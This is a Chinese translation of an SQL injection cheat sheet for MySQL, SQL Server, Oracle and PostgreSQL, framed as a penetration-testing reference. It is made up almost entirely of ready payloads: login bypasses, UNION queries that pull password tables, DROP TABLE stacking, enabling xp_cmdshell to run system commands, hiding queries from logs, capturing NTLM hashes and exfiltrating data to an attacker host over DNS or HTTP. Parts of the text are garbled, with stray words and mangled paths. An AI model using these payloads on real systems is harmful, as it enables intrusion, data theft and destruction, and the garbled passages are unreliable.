史上最全的 SQL 注入資料,收藏不謝

什麼是 SQL 注入速查表?

 

SQL注入速查表是能夠爲你提供關於不一樣種類 SQL注入漏洞 的詳細信息的一個資源。這份速查表對於經驗豐富的滲透測試人員,或者剛開始接觸 Web應用安全 的初學者,都是一份很好的參考資料。php

 

關於這份 SQL 注入速查表

 

這份 SQL 速查表最初是 2007 年時 Ferruh Mavituna 在他本身的博客上發佈的。咱們更新了它並將它移到了公司 CEO 的博客上。如今,這份速查表僅包含了 MySQL 、SQL Server,和有限的一些關於 Oracle 和 PostgerSQL 數據庫的信息。表中的部分示例可能沒法在每個場景都正常運行,由於真實使用的環境中,可能由於括號的使用、不一樣的代碼上下文以及出乎意料的、奇怪而複雜的 SQL 語句而有所差別。html

 

示例提供給你關於潛在攻擊的基本思路,並且幾乎每節都包含有簡短的說明。mysql

 

  • M:MySQLweb

  • S:SQL Server算法

  • P:PostgreSQLsql

  • O:Oracleshell

  • +:可能出如今其餘全部數據庫數據庫

 

例如:編程

 

  • (MS)表明:MySQL 和 SQL Server 等後端

  • (M*S)表明:僅部分版本及有特殊說明的 MySQL,以及 SQLServer

 

目錄表

 

  1. 語法參考,攻擊樣例以及注入小技巧

(1)行間註釋

  • 使用了行間註釋的 SQL 注入攻擊樣例

(2)行內註釋

  • 經典的行內註釋注入攻擊樣例

  • MySQL 版本探測攻擊樣例

(3)堆疊查詢(Stacking Queries)

  • 支持堆疊查詢的語言/數據庫

  • 關於 MySQL 和 PHP

  • 堆疊注入攻擊樣例

(4)If 語句

  • MySQL 的 If 語句

  • SQL Server 的 If 語句

  • If 語句的注入攻擊樣例

(5)使用整數(Integers)

(6)字符串操做

  • 字符串的連結

(7)沒有引號的字符串

  • 基於 16 進制的注入攻擊樣例

(8)字符串變體 & 相關知識

(9)Union 注入

  • UNION — 語言問題處理

(10)繞過登錄界面

(11)在SQL Server 2005 中啓用 xp_cmdshell

(12)探測 SQL Server 數據庫的結構

(13)從基於錯誤的 SQL 注入中快速提取數據的方法

(14)SQL 盲注

(15)掩蓋痕跡

(16)MySQL 的額外說明

(17)二階 SQL 注入

(18)帶外(OOB)頻道攻擊

 

語法參考、攻擊示例和注入小技巧

 

結束 / 註釋掉 / 行註釋

 

行間註釋

 

註釋掉查詢語句的其他部分

 

行間註釋一般用於忽略掉查詢語句的其他部分,這樣你就不用處理由於注入致使的語法變更。

 

— (SM)

 

DROP sampletable;--

 

# (M)

 

DROP sampletable;#

 

行間註釋的 SQL 注入攻擊示例

 

用戶名:admin’–

 

SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'

 

這會讓你以admin用戶身份登陸,由於其他部分的SQL語句被註釋掉了。

 

行內註釋

 

經過不關閉的註釋,註釋掉查詢語句的其他部分,或者用於繞過黑名單過濾、移除空格、迷惑和探測數據庫版本。

 

  • /*這裏是註釋內容*/ (SM)

    • DROP/*註釋*/sampletable

    • DR/**/OP/*繞過過濾*/sampletable

    • SELECT/*消除空格*/password/**/FROM/**/Members

       

  • /*! MYSQL 專有 SQL */ (M)

 

這是 MySQL 的專有語法。很是適合用來探測 MySQL 版本。若是你在註釋中寫入代碼,只有 MySQL 纔會執行。你一樣可使用這個方法,讓代碼只在服務器版本高於指定版本才執行。

 

SELECT /*!32302 1/0, */ 1 FROM tablename

 

經典的行內註釋 SQL 注入攻擊示例

 

ID: 10; DROP TABLE members /*

 

在查詢結尾簡單地去除其餘內容。等同於 10; DROP TABLE members —

 

SELECT /*!32302 1/0, */ 1 FROM tablename

 

若是 MySQL 版本高於 23.02 會拋出一個除數爲 0(division by 0)的錯誤

 

MySQL 版本探測攻擊示例

 

ID: /*!32302 10*/

ID: 10

 

若是 MySQL 的版本高於 23.02,執行上面兩個查詢你將獲得相同的結果

 

SELECT /*!32302 1/0, */ 1 FROM tablename

 

若是 MySQL 版本高於 23.02 會拋出一個除數爲 0(division by 0)的錯誤

 

堆疊查詢

 

在一個事務中執行多個查詢。這在每個注入點都很是有用,尤爲是後端使用了 SQL Server 的應用程序。

 

  • ; (S)

 

SELECT * FROM members; DROP members--

 

結束一個查詢並開始一個新的查詢。

 

語言 / 數據庫堆疊查詢支持表

 

綠色:支持;深灰色:不支持;淺灰色:未知

 

 

 

關於 MySQL 和 PHP

 

闡明一些問題

 

PHP – MySQL 不支持堆疊查詢,Java 不支持堆疊查詢(Oracle 我很肯定,其餘的就不太肯定了)。一般來講 MySQL 支持堆疊查詢,但在 PHP – MySQL 應用程序中大多數配置下的數據庫層都不能執行第二條查詢,也許 MySQL 客戶端支持這個,我並非很肯定。有人能說明下嗎?

 

堆疊注入攻擊示例

 

  • ID: 10;DROP members —

 

SELECT * FROM products WHERE id = 10; DROP members--

 

這在正常SQL查詢執行後將會執行 DROP members 語句。

 

If語句

 

根據If語句獲得響應。這是盲注(Blind SQL Injection)的關鍵點之一,在盲注和精確的簡單測試中都很是有用。

 

MySQL 的 If 語句

 

IF(condition,true-part,false-part)(M)

 

SELECT IF(1=1,'true','false')

 

SQL Server 的 If 語句

 

IF condition true-part ELSE false-part(S)

 

IF (1=1) SELECT 'true' ELSE SELECT 'false'

 

Oracle 的 If 語句

 

BEGIN

IF condition THEN true-part; ELSE false-part; END IF; END;(O)

 

IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

 

PostgreSQL 的 If 語句

 

SELECT CASE WHEN condition THEN true-part ELSE false-part END;(P)

 

SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;

 

If 語句的 SQL 注入攻擊示例

 

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)

 

若是當前登陸的用戶不是 」sa」 或 「dbo」,語句會拋出 除數爲0 的錯誤。

 

整數的使用

 

對於繞過很是有用,如 magic_quotes() 和相似的過濾器,甚至是各類WAF。

 

  • 0xHEXNUMBER(SM)
    你能夠這樣使用 16 進制數。

SELECT CHAR(0x66)(S)

SELECT 0x5045 (這不是一個整數,而會是一個 16 進制字符串)(M)

SELECT 0x50 + 0x45 (如今這個是整數了!)(M)

 

字符串操做

 

字符串相關的操做。這些對於構造不含引號、繞過黑名單或探測後端數據庫的注入很是有用。

 

字符串的連結

 

+ (S)

 

SELECT login + '-' + password FROM members

 

|| (*MO)

 

SELECT login || '-' || password FROM members

 

* 關於 MySQL 的 「||」

 

僅當 MySQL 在 ANSI 模式下這(指 「||」 符號)纔會執行,其餘模式下 MySQL 會當成 邏輯運算符 並返回 0。更好的方式是使用 MySQL 的 CONCAT() 函數。

 

CONCAT(str1, str2, str3, …) (M)

 

鏈接參數裏提供的字符串。

 

SELECT CONCAT(login, password) FROM members

 

沒有引號的字符串

 

有一些直接的方式可使用字符串,但一般更合適的是使用 CHAR() (MS) 和 CONCAT() (M) 來生成無引號的字符串。

 

0x457578 (M) - 字符串的 16 進製表示

SELECT 0x457578

這在 MySQL 中會被當作字符串處理。在 MySQL 中更簡單地生成 16 進制字符串的方式是使用下面這個方法:

SELECT CONCAT('0x',HEX('c:boot.ini'))

 

 MySQL 中使用 CONCAT() 函數

SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)

這會返回‘KLM’。

 

SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)

這會返回‘KLM’。

 

SELECT CHR(75)||CHR(76)||CHR(77) (O)

這會返回‘KLM’。

 

SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

這會返回‘KLM’。

 

基於 16 進制的 SQL 注入示例

 

SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)

 

這會顯示 c:boot.ini 的內容

 

字符串變體 & 相關知識

 

  • ASCII() (SMP)
    返回最左邊字符的ASCII碼的值。這是盲注的一個必備函數。SELECT ASCII(‘a’)

     

  • CHAR() (SM)
    將一個整數轉換爲對應的ASCII值。SELECT CHAR(64)

 

Union注入

 

經過union你能跨表執行 SQL 查詢。 基本上你能夠污染(注入)查詢使它返回另外一個表的記錄。

 

SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members

 

這個查詢會聯結並返回 news 表和 members 表的全部記錄。

 

另外一個例子:

 

' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

 

UNION – 語言問題處理

 

當你使用 Union 注入的時候,有時會遇到錯誤,由於不一樣語言的設置(表的設置、字段的設置、表或數據庫的聯結設置等等),下面這些函數對於解決以上問題頗有用。這樣的問題比較少見,但當你處理例如日文、俄文、土耳其文或其餘相似的應用程序時,你就會發現了。

 

SQL Server (S)

 

使用 COLLATE SQL_Latin1_General_Cp1254_CS_AS 或其餘有效的方式 – 具體信息能夠查看 SQL Server 的文檔。

 

SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

 

MySQL (M)

 

Hex() 基本上能夠解決全部出現的問題。

 

繞過登陸界面(SMO+)

 

SQL 注入入門指引,登陸小技巧

 

  • admin’ —

  • admin’ #

  • admin’/*

  • ‘ or 1=1–

  • ‘ or 1=1#

  • ‘ or 1=1/*

  • ‘) or ‘1’=’1–

  • ‘) or (‘1’=’1–

  • ….

  • 以不一樣的用戶登陸 (SM*)
    ‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

 

* 舊版本的 MySQL 不支持 union 查詢

 

繞過檢查 MD5 哈希的登陸界面

 

若是應用是先經過用戶名獲取記錄,而後再把返回的 MD5 值與你輸入的密碼的 MD5 進行比較,那麼你就須要一些額外的技巧欺騙應用來繞過驗證了。你能夠將一個已知明文的 MD5 哈希和它的明文一塊兒提交,這種狀況下,應用會比較你的密碼和你提供的 MD5 值,而不是從數據庫獲取的 MD5。

 

繞過 MD5 檢查的例子 (MSP)

 

Username : admin

Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

 

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

 

基於錯誤 – 探測列名

 

使用 HAVING 探測列名 – 基於錯誤(S)

 

順序不分前後

 

  • ‘ HAVING 1=1 —

     

  • ‘ GROUP BY columnfromerror1 HAVING 1=1 —

     

  • ‘ GROUP BY columnfromerror1, columnfromerror2 HAVING 1=1 —

     

  • ‘ GROUP BY columnfromerror1, columnfromerror2,

    columnfromerror(n) HAVING 1=1 — and so on

     

  • 直到再也不報錯就完成了。

 

在 SELECT 查詢中使用 ORDER BY 探測有多少個列(MSO+)

 

經過 ORDER BY 探測列數能夠加快 UNION 注入的進度。

 

  • ORDER BY 1–

  • ORDER BY 2–

  • ORDER BY N– so on

  • 持續操做直到出現錯誤,報錯時使用的數字就是列數了。

 

數據類型、UNION 等

 

提示:

 

  • 在使用 UNION 時老是搭配上 ALL,由於會存在相同值的字段,而缺省狀況下,Union 都會嘗試返回非重複的記錄。

     

  • 在查詢的開始處,可使用 -1 或者其餘不存在的值來去除左側表中非必須的記錄(前提是注入點在 WHERE 語句裏)。若是你一次只想取得一條記錄,這是很是關鍵的點。

     

  • 在對大多數數據類型的 UNION 注入中使用 NULL 代替猜想它是字符串、日期、整數等類型。

     

    • 盲注的狀況下,要注意判斷錯誤時來自數據庫仍是來自應用程序自己。由於像 ASP.NET 或有其餘語言,一般在使用 NULL 值的時候會拋出錯誤(由於開發者們通常沒有想過用戶名字段會出現 NULL)

 

獲取列類型

 

  • ‘ union select sum(columntofind) from users— (S)


    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’


    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.若是沒有返回錯誤說明字段是數字類型(numeric).

     

  • 你也可使用 CAST() 或者 CONVERT()

     

    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL–

       

  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-


    沒有錯誤 – 語法是對的。這是 MS SQL Server 的語法。繼續。

     

  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-


    沒有錯誤 – 第一列是 integer 類型。

     

  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 —


    錯誤! – 第二列不是 integer 類型。

     

  • 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-


    沒有錯誤 – 第二列是 string 類型。

     

  • 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-


    報錯! – 第三列不是 integer 類型。

     

  • …Microsoft OLE DB Provider for SQL Server error ‘80040e07


    Explicit conversion from data type int to image is not allowed.

 

你在遇到 union 錯誤以前會遇到 convert() 錯誤! 因此從 convert() 開始,再用 union。

 

簡單的注入(MSO+)

 

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

 

有用的函數 / 信息收集 / 存儲過程 / Bulk SQL 注入說明

 

@@version(MS)

 

數據庫的版本和關於 SQL Server 的詳細信息。這是個常量,你能把它當作一個列來 select,並且不須要提供表名。一樣,你也能在 insert、update 語句或者函數裏使用它。

 

INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)

 

Bulk insert(S)

 

(補充說明:bulk insert 是 SQL Server 的一個命令)

 

插入一個文件的內容到表中。若是你不知道應用的內部路徑,能夠讀取 IIS(僅限 IIS 6)的元數據庫文件(metabase file,%systemroot%system32inetsrvMetaBase.xml)而後找出應用的路徑。

 

  1. Create table foo( line varchar(8000) )

     

    1. bulk insert foo from ‘c:inetpubwwwrootlogin.asp’

    2. Drop 臨時表,並重復另外一個文件。

 

BCP(S)

 

(補充說明:BCP 是 SQL Server 的一個工具)

 

寫文本文件。使用這個功能須要登陸。


bcp 「SELECT * FROM test..foo」 queryout c:inetpubwwwrootruncommand.asp -c -Slocalhost -Usa -Pfoobar

 

SQL Server 中的 VBS 和 WSH(S)

 

開啓 ActiveX 支持的狀況下,你能夠在 SQL Server 中使用 VBS 和 WSH 腳本編程。

 

declare @o int
exec sp_oacreate ‘wscript.shell’, @o out
exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’
Username: ‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ —

 

執行系統命令、xp_cmdshell(S)

 

衆所周知,在 SQL Server 2005 中默認是禁用的。你須要 Admin 權限。.

 

EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’

 

用 ping 簡單檢查下 (在開始以前先配置好你的防火牆或嗅探器確認請求能發出)

 

EXEC master.dbo.xp_cmdshell ‘ping ‘

 

你沒法從錯誤或 union 或其餘的什麼直接讀取結果。

 

SQL Server 中的一些特殊表(S)

 

  • Error Messages
    .sysmessages

     

  • Linked Servers
    .sysservers

     

  • Password (2000 和 2005 版本都能被入侵,它們使用很是類似的哈希算法)
    SQL Server 2000:.sysxlogins
    SQL Server 2005 : sys.sql_logins

 

SQL Server 的其餘存儲過程(S)

 

  1. 命令執行(xp_cmdshell)


    exec master..xp_cmdshell ‘dir’

 

  1. 註冊表相關(xp_regread)

     

    1. xp_regaddmultistring

    2. xp_regdeletekey

    3. xp_regdeletevalue

    4. xp_regenumkeys

    5. xp_regenumvalues

    6. xp_regread

    7. xp_regremovemultistring

    8. xp_regwrite
      exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEMCurrentControlSetServiceslanmanserverparameters’, ‘nullsessionshares’
      exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities’

       

  2. 管理服務(xp_servicecontrol)

     

  3. 媒體(xp_availablemedia)

     

  4. ODBC 資源(xp_enumdsn)

     

  5. 登陸模式(xp_loginconfig)

     

  6. 建立 Cab 文件(xp_makecab)

     

  7. 域名列舉(xp_ntsec_enumdomains)

     

  8. 結束進程(須要進程 ID)(xp_terminate_process)

     

  9. 建立新程序(實際上你想執行什麼均可以了)


    sp_addextendedproc ‘xp_webserver’, ‘c:tempx.dll’
    exec xp_webserver

     

  10. 將文本文件寫進 UNC 或內部路徑(sp_makewebtask)

 

MSSQL Bulk 說明

 

SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell ‘dir *.exe’;IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master..xp_cmdshell OSQL /Q」DBCC SHOWCONTIG」

OPENROWSET (Transact-SQL)  – http://msdn2.microsoft.com/en-us/library/ms190312.aspx

 

你不能在 SQL Server 的 Insert 語句裏使用子查詢。

 

使用 LIMIT(M)或 ORDER(MSO)的注入

 

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;

 

若是注入點在 limit 的第二個參數處,你能夠把它註釋掉或者使用 union 注入。

 

中止 SQL Server(S)

 

當你真的不開心了,可使用 ‘;shutdown —

 

在 SQL Server 中啓用 xp_cmdshell

 

默認狀況下,在 SQL Server 2005 中 xp_cmdshell 和其餘一些存在潛在危險的存儲過程都是被禁用的。若是你有 admin 權限就能夠啓用它們了。

 

EXEC sp_configure ‘show advanced options’,1

RECONFIGURE

 

EXEC sp_configure ‘xp_cmdshell’,1

RECONFIGURE

 

探測 SQL Server 數據庫的結構(S)

 

獲取用戶定義表

 

SELECT name FROM sysobjects WHERE xtype = 'U'

 

獲取字段名

 

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

 

移動記錄(S)

 

修改 WHERE 和使用 NOT IN 或 NOT EXIST

 

… WHERE users NOT IN (‘First User’, ‘Second User’)

 

SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one

 

使用惡劣的小技巧

 

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as intSelect p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

 

從基於錯誤的 SQL 注入中快速提取數據的方法(S)

 

';BEGIN DECLARE @rt varchar(8000) SET @rd=':'

SELECT @rd=@rd+' '+name FROM syscolumns

WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS')

   AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

 

詳細說明能夠查看文章:從基於錯誤的 SQL 注入中快速提取數據的方法

 

探測 MySQL 數據庫的結構(M)

 

獲取用戶定義表

 

SELECT table_name FROM information_schema.tables WHERE table_schema = 'tablename'

 

獲取列名

 

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = 'tablename'

 

探測 Oracle 數據庫的結構(O)

 

獲取用戶定義表

 

SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'

 

獲取列名

 

SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'

 

SQL 盲注

 

關於 SQL 盲注

 

在一個良好的生產環境應用程序中,一般你沒法在頁面上看到錯誤(error)提示,因此你也就沒法經過 Union 攻擊或者基於錯誤的攻擊中提取數據。你不得不使用盲注攻擊來取得數據。SQL 盲注存在有兩種類型:

 

通常盲注:你沒法在頁面中看到響應,但你仍然能夠經過響應或 HTTP 狀態碼肯定查詢的結果;

 

徹底盲注:不管你怎麼注入也沒法從輸出看出任何變化。這樣你只能經過日誌記錄或相似的來注入。雖然這並不常見。

 

在通常盲注狀況中你可使用 if 語句或者 WHERE 查詢來注入(通常來講很容易),在徹底盲注你須要使用一些延時函數並分析響應時間。所以你能夠在注入 SQL Server 時使用 WAIT FOR DELAY ‘0:0:10’,注入 MySQL 時使用 BENCHMARK() 和 sleep(10),注入 PostgreSQL 時使用 pg_sleep(10),還有對 ORACLE 的一些 PL/SQL 小技巧。

 

真實且有點複雜的 SQL 盲注攻擊示例

 

這些輸出來自於一個真實的私有 SQL 盲注工具對使用 SQL Server 的後端程序的攻擊和表名遍歷。這些請求完成了探測第一個表名的首字符。由於是自動化攻擊,SQL 查詢比實際需求複雜一些。過程當中咱們經過二分查找算法嘗試肯定字符的 ASCII 值。

 

TRUE 和 FALSE 標記表明查詢返回的是 true 或 false。

 

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 ANDISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND nameNOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

 

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 ANDISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND nameNOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

 

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 ANDISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND nameNOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 ANDISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND nameNOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

 

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 ANDISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND nameNOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 ANDISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND nameNOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

 

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 ANDISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND nameNOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 ANDISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND nameNOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

 

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 ANDISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND nameNOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)

 

當最後兩個查詢失敗咱們能夠毫無疑問地肯定表名第一個字符的 ASCII 值是 80,這意味着第一個字符是 P。這就是使用二分查找算法進行 SQL 盲注的方法。另外一個常見的方法是一位一位(bit)地讀取數據。這兩個方法在不一樣狀況下都有效。

 

延時盲注

 

首先,在徹底沒有提示(really blind)的狀況下才使用,不然使用 1/0 方式的錯誤辨認差別。其次,使用超過 20 秒的延時須要當心,由於數據庫的 API 鏈接或腳本可能出現超時。

 

WAIT FOR DELAY ‘time’(S)

 

這個與sleep同樣,等待指定的時間。經過 CPU 安全的方法讓數據庫等待。

 

WAITFOR DELAY '0:0:10'--

 

另外,你也可使用分數,像這樣

 

WAITFOR DELAY '0:0:0.51'

 

真實案例

 

  • 是否‘sa’用戶?
    if (select user) = ‘sa’ waitfor delay ‘0:0:10’

  • ProductID = 1;waitfor delay ‘0:0:10’–

  • ProductID =1);waitfor delay ‘0:0:10’–

  • ProductID =1′;waitfor delay ‘0:0:10’–

  • ProductID =1′);waitfor delay ‘0:0:10’–

  • ProductID =1));waitfor delay ‘0:0:10’–

  • ProductID =1′));waitfor delay ‘0:0:10’–

 

BENCHMARK()(M)

 

基本上,不少人濫用這個命令來作 MySQL 的延時。當心使用,這會很快地消耗服務器的資源!

 

BENCHMARK(howmanytimes, do this)

真實案例

 

判斷是否 root 用戶

 

IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))

 

判斷表是否存在

 

IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

 

pg_sleep(seconds)(P)

 

睡眠指定的秒數。

 

SELECT pg_sleep(10);

睡眠 10 秒。

 

sleep(seconds)(M)

 

睡眠指定的秒數。

 

SELECT sleep(10);

睡眠10秒。

 

dbms_pipe.receive_message(O)

 

睡眠指定的秒數。

 

(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100)

THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROMdual)

 

{INJECTION} = 你想實際運行的查詢。

 

若是條件爲真(true),會在10秒後才響應。若是是假(false),延遲1秒就返回。

 

掩蓋痕跡

 

SQL Server -sp_password 日誌繞過(S)

 

出於安全緣由,SQL Server 不會將包含 sp_password 的查詢記錄到日誌中。. 因此若是你在查詢中加入 –sp_password 選項,你執行的查詢就不會出如今數據庫日誌中(固然,在 Web 服務器的日誌裏仍是會有,因此可能的話儘可能使用 POST 方法)

 

清晰的 SQL 注入測試

 

這些測試徹底適用於 SQL 盲注和靜默攻擊。

 

  1. asp?id=4(SMO)

    1. asp?id=5-1

    2. asp?id=4 OR 1=1

       

  2. asp?name=Book

    1. asp?name=Bo’%2b’ok

    2. asp?name=Bo’ || ’ok(OM)

    3. asp?name=Book’ OR ‘x’=’x

 

MySQL 的額外說明

 

  • 子查詢只在 MySQL 4.1 或以上版本才生效

     

  • 用戶

    • SELECT User,Password FROM mysql.user;

       

  • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)=’2′,BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;

     

  • SELECT … INTO DUMPFILE

    • 把查詢寫入一個新文件(不能修改已有的文件)

       

  • UDF 函數

    • create function LockWorkStation returns integer soname ‘user32’;

    • select LockWorkStation();

    • create function ExitProcess returns integer soname ‘kernel32’;

    • select exitprocess();

       

  • SELECT USER();

     

  • SELECT password,USER() FROM mysql.user;

     

  • admin密碼哈希值的第一位

    • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;

       

  • 讀取文件

    • php?user=1+union+select+load_file(0x63…),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

       

  • MySQL Load Data infile

    • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1(‘test’)), ‘false’ );

    • create table foo( line blob );
      load data infile ‘c:/boot.ini’ into table foo;
      select * from foo;

    • 這個功能默認是沒有開啓的!

    • MySQL 的更多延時方法

    • select benchmark( 500000, sha1( ‘test’ ) );

    • php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

    • select if( user() like ‘root@%’, benchmark(100000,sha1(‘test’)), ‘false’ );
      遍歷數據,暴力猜解

       

潛在有用的 MySQL 函數

 

  • MD5()
    MD5 哈希

  • SHA1()
    SHA1 哈希

  • PASSWORD()

  • ENCODE()

  • COMPRESS()
    壓縮數據,在 SQL 盲注讀取大量二進制數據時頗有用。

  • ROW_COUNT()

  • SCHEMA()

  • VERSION()
    等同於 @@version

 

二階 SQL 注入

 

通常你在某個地方進行 SQL 注入並指望它沒有被過濾掉。這是常見的隱藏層問題。

 

Name : ' + (SELECT TOP 1 password FROM users ) + '

Email : xx@xx.com

 

若是應用程序在一個不安全的存儲過程(或函數、流程等)中使用了 name 字段,那麼它會將第一個用戶的密碼寫入到你的 name 字段。

 

經過強迫 SQL Server 來獲得 NTLM 哈希

 

這個攻擊能幫你獲得目標服務器上 SQL Server 用戶的 Windows 密碼,不過你的接入鏈接可能會被防火牆攔截。這在內部滲透測試中很是有用。咱們強迫 SQL Server 鏈接咱們的 Windows UNC 共享(Windows 上常見的網絡共享)並經過相似 Cain & Abel(網絡嗅探和口令破解工具)的工具捕獲 NTLM 會話數據。

 

從一個 UNC 共享進行 Bulk insert(S)

 

bulk insert foo from 'YOURIPADDRESSC$x.txt'

 

查看 Bulk Insert Reference 可讓你瞭解怎麼使用 bulk insert。

 

帶外攻擊

 

SQL Server

 

{INJECTION} = 你想要執行的查詢。

 

?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB',({INJECTION})+'.yourhost.com';'sa';'pwd', 'SELECT 1')

 DNS 解析請求轉到 {INJECT}.yourhost.com

 

?vulnerableParam=1; DECLARE <a href="http://www.jobbole.com/members/caogen">@q</a>varchar(1024); SET <a href="http://www.jobbole.com/members/caogen">@q</a> = ''+({INJECTION})+'.yourhost.comtest.txt'; EXEC master..xp_dirtree <ahref="http://www.jobbole.com/members/caogen">@q</a>

 DNS 解析請求轉到 {INJECTION}.yourhost.com

 

MySQL

 

{INJECTION} = 你想要執行的查詢。

 

?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('',({INJECTION}), 'yourhost.com')))

 NBNS 查詢請求或 DNS 解析請求轉到 com

 

?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE 'yourhost.comshareoutput.txt')

將數據寫到你的共享文件夾或文件

 

Oracle

 

{INJECTION} = 你想要執行的查詢。

 

?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ sniff.php?sniff='||({INJECTION})||'')FROM DUAL)

嗅探程序將會保存結果

 

